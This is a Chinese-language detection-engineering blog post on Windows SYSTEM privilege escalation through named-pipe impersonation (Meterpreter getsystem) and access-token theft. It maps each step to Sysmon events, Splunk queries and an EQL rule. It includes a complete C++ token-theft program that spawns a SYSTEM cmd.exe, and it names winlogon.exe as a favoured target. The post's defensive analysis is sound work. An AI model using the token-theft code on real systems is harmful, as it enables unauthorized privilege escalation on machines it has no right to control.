走近Windows中的提权行为

前言

《基于异常行为检测CobaltStrike》 一文里,简单提及过 CobaltStrike 的提权方式,当时受限于篇幅,没有深入研究
最近看了几篇文章,结合对一些数据源的思考,想在这里汇总下部分常见提权手法的攻击原理和检测技巧
本文主要关注 GetSystem 的过程,对应 ATT&CK 攻击框架中的 T1134 - Access Token Manipulation,不涉及 UAC bypass
因为相关名词较多,例如 logon session 和 access token,过程理解可能需要一定的前置知识
这些都写进来怕显得文章又臭又长,以后有精力再另起一篇总结下知识背景吧
以下主要选择两种技术对象作为演示实例—— 命名管道提权访问令牌窃取

命名管道提权

还是从最经典的 meterpreter 中的 getsystem 命令讲起,因为有 源码 可供参考,更方便读者理解
其代码注释中也简单解释了下工作原理和前置条件:
Elevate from local admin to local system via Named Pipe Impersonation.
We spawn a cmd.exe under local system which then connects to our named pipe and we impersonate this client.
This can be done by an Administrator without the need for .
Works on 2000, XP, 2003 and 2008 for all local administrators. On Vista and 7 it will only work if the host process has been elevated through UAC first. Does not work on NT4.
该技术的核心在于对 ImpersonateNamedPipeClient API 的利用,通过命名管道的服务端进程模仿客户端进程的访问令牌,获取 SYSTEM 权限
关于该 API 的详细说明,具体内容可以参考 官方文档
当然,想调用它,前提是进程具备 SeImpersonatePrivilege 的权限,而这通常意味着我们已经是 Admin 用户了
对照源代码,我大致拆解了下该模块具体的实现步骤:
  1. 1.
    getsystem 新建一个线程创建命名管道并等待服务发来的连接 (服务端)
  2. 2.
    getsystem 创建了一个以 SYSTEM 权限运行的 Windows 服务,该服务会向命名管道发起连接 (客户端)
  3. 3.
    启动该服务,向目标命名管道发起连接 (客户端 -> 服务端)
  4. 4.
    该进程(服务端)接收连接,调用 ImpersonateNamedPipeClient,从而模仿了 SYSTEM 权限 的访问令牌
  5. 5.
    完成提权过程后,停止并删除该服务
先简单的复现一下,然后让我们去日志中一一验证 getsystem 的行为轨迹

第一步:创建命名管道

这一步在 sysmon 中有对应的 EID 17 (Pipe Created) 日志记录,很容易就能观测到
另外,在时间节点附近,结合该进程对应的 Guid 我们还能看到它更多的动作,文中后半部分有所演示

第二步:创建服务

这一步我们可以借助 Windows 系统日志观测到 EID 7045 (A new service was installed in the system) 的事件发生
不过我习惯了使用 sysmon,但是其日志类型中并没有涉及到 Windows 服务,那是不是就束手无策了呢?
这里需要了解一个小窍门:Windows 安装服务的时候会写入注册表的特定位置
这一知识可以应用在检测 Windows 可疑服务的创建,比如注册表键值中包含 powershell 敏感命令、base64 编码、特殊路径等
那么借助以下命令,我们就能定位到这一步创建的服务名称和命令参数等信息
index=windows EventCode=13 TargetObject="HKLM\\System\\CurrentControlSet\\Services\\*\\ImagePath"
从上图结果中能很明显的看出,该服务启动后(此时尚未启动)会向服务端的命名管道写入数据

第三步:启动服务,连接管道

关于 Windows 服务的启动,这里有个很有意思的细节
本来我还愁找不到相应的系统日志来监测服务的启动行为,但是经过多次实验后,却发现每次都会伴随着 EID 7009 (服务连接超时)的发生
这时我才留意到源码中的这行注释,突然想起来,类似 cmd.exe 这种非有效的服务,它不会向服务管理器返回信号
例如,如果我们在命令行中手动创建个简易的服务,然后再看看事件管理器中的系统日志
由此引起的 EID 7009,同样可以作为我们判断 getsystem 命令执行过程中启动服务的证据
而服务启动后,我们可以结合前面分析的命令行参数,检索到其触发 EID 1(Process Create) 的相应动作
该命令向服务端命名管道发起连接,这一行为会被 sysmon 的 EID 18 (Pipe Connected) 记录到

第四步:调用 API,完成提权

API 的调用暂无对应日志记录,但是可以根据用户名(User)和进程完整性(IntegrityLevel)等字段定位到提权的结果
如果这时我们在 MSF 的控制台执行 shell 命令,可以看到一个 SYSTEM 权限的 cmd.exe 诞生,而其父进程却是非 SYSTEM 权限
这一特征也标识着整个提权行为的顺利完成,更多的原理细节和检测步骤可以参考文章后半部分的内容

第五步:删除服务

最后一步容易被很多人忽视——痕迹清除,这一行为在成熟的攻击框架中做得很到位,但同时也有利于我们做行为检测分析
我也是通过分析源码才记起来加上这一检测点,从而在日志中发现了服务删除的动作

访问令牌窃取

除了上面例子中使用到的 ImpersonateNamedPipeClient 之外,还有一些 Windows API 也能帮助我们完成到 SYSTEM 权限的提升
例如 ImpersonateLoggedOnUser、DuplicateTokenEx 等等
以上图右边最经典的提权路线为例,我简单解释下各步骤:
  1. 1.
    通过 OpenProcess 获取 SYSTEM 权限进程的句柄
  2. 2.
    通过 OpenProcessToken 获取该进程的访问令牌
  3. 3.
    通过 DuplicateTokenEx 函数复制该令牌
  4. 4.
    通过 CreateProcessWithTokenW 创建具备同样访问令牌的进程
贴一段自己测试时使用的代码,参考 https://github.com/slyd0g/PrimaryTokenTheft 修改而来
#include <windows.h>
#include <iostream>
int main(int argc, char** argv) {
// Grab PID from command line argument
char *pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFOW startupInfo;
PROCESS_INFORMATION processInformation;
wchar_t cmdline[] = L"C:\\Windows\\System32\\cmd.exe";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
这个过程建议大家有时间的话还是自己手动操作一遍,其中有很多坑需要留意,但是对于我们加深理解很有帮助
比如我测试时发现好几次 OpenProcess() 成功了,但是 OpenProcessToken() 却报出 ERROR_ACCESS_DENIED (0x5) 的错误
后来才知道原来是因为我不是该进程的 TOKEN_OWNER
另外,选择具备 SYSTEM 权限的目标时,要注意 Protected Process Light (PPL) 这个特性
受 PPL 保护的进程需要指定 PROCESS_QUERY_LIMITED_INFORMATION 权限时才能执行 OpenProcess(),不然也会报错
image-20220111112752666
针对该特点,也有非常典型的攻击手法,例如 winlogon.exe 具备 SYSTEM 权限但又不受该机制保护,所以经常被利用
关于上述提到所需要的进程访问权限等相关信息,更多内容可以参考 这里
更多的实现原理和过程步骤,我就不再赘述了,感兴趣的可以根据这篇 文章 逐步复现
接下来,我会根据复现结果的日志,借助 sysmon 和 splunk 完成 getsystem 过程中的细节分析
首先结合前面的结论,通过对父子进程的权限继承关系进行判断,定位到相关进程主体
拿到父进程的 Guid —— {534e2476-46b7-61dd-5508-000000000b00},然后溯源其相关行为
index=windows (ParentProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}" OR ProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}" OR SourceProcessGUID="{534e2476-46b7-61dd-5508-000000000b00}" OR TargetProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}")
这其中,我们能发现一条很显眼的日志,由 token.exe 向 winlogon.exe 发起的进程间访问,注意它的访问权限
注意:sysmon 的 EID 10 中相应字段名为 ProcessGUID,而不是 ProcessGuid!
这里对应的就是我们代码中 OpenProcess() 的过程,因为日志里 0x1400 的访问权限正是 PROCESS_QUERY_INFORMATION
这条日志紧随其后的行为便是上述的 token.exe 进程创建了 SYSTEM 权限的 cmd.exe
其中的 OpenProcessToken()、DuplicateTokenEx() 等行为就不是 sysmon 的能力范围了
关于这一点,我们需要熟悉 sysmon 的日志记录原理:
为了检测 ProcessAccess 类型的日志,sysmon 采用了 ObRegisterCallbacks 注册线程、进程和桌面句柄操作的回调列表,以便任何进程尝试使用 OpenProcess() NtOpenProcess()、NtAlpcOpenSenderProcess() 等API打开其他进程的句柄时都能够被检测到
写到这里了想偷个懒,针对该攻击技术,我就直接引用一段国外研究员用 EQL 写的一段检测语句吧:
sequence with maxspan=1m
[process where event.code : "10" and
/*
GrantedAccess values in scope
0x1000 - PROCESS_QUERY_LIMITED_INFORMATION - PPL
0x1400 - PROCESS_QUERY_INFORMATION
0x1F3FFF - PROCESS_ALL_ACCESS
*/
winlog.event_data.GrantedAccess :
("0x1000", "0x1400", "0x1F3FFF") and
winlog.event_data.TargetUser : "NT AUTHORITY\\SYSTEM" and not
winlog.event_data.SourceUser : "NT AUTHORITY\\*" and
winlog.event_data.TargetImage : "?:\\Windows\\*.exe"] by process.entity_id
[process where event.code : "1" and
winlog.event_data.LogonId : "0x3e7" and
winlog.event_data.TerminalSessionId : "1" and
not winlog.event_data.ParentUser : "NT AUTHORITY\\*"] by process.parent.entity_id
本质上就是对前面两个检测点做关联分析,只要前面的研究功夫下到位了,这里能施展的空间才会充足
像本文中的第一个例子,分析命名管道提权的手法时,涉及的检测点比较丰富,这时在上层做复杂规则检测就会有更多可作为的地方

小结

要做好威胁检测,对攻击和防御两方面的知识都得做到烂熟于心,真正做到知己知彼其实需要长时间的积累
上述分析过程主要用到 sysmon 记录日志,但涉及到 Windows API 的调用,sysmon 其实是不足以胜任的
我自己在实际分析过程中,经常遇到找不到相应日志的情况,这时如果对日志记录原理的缺乏了解,往往会无从下手
而如果缺乏对攻击原理的熟悉,经常会忽视许多潜在的检测点,更别提去追溯相应日志了
从原理出发或者是从特征溯源,对攻击行为自上而下的分析和自下而上的分析其实是缺一不可的,结合使用才是正确的姿势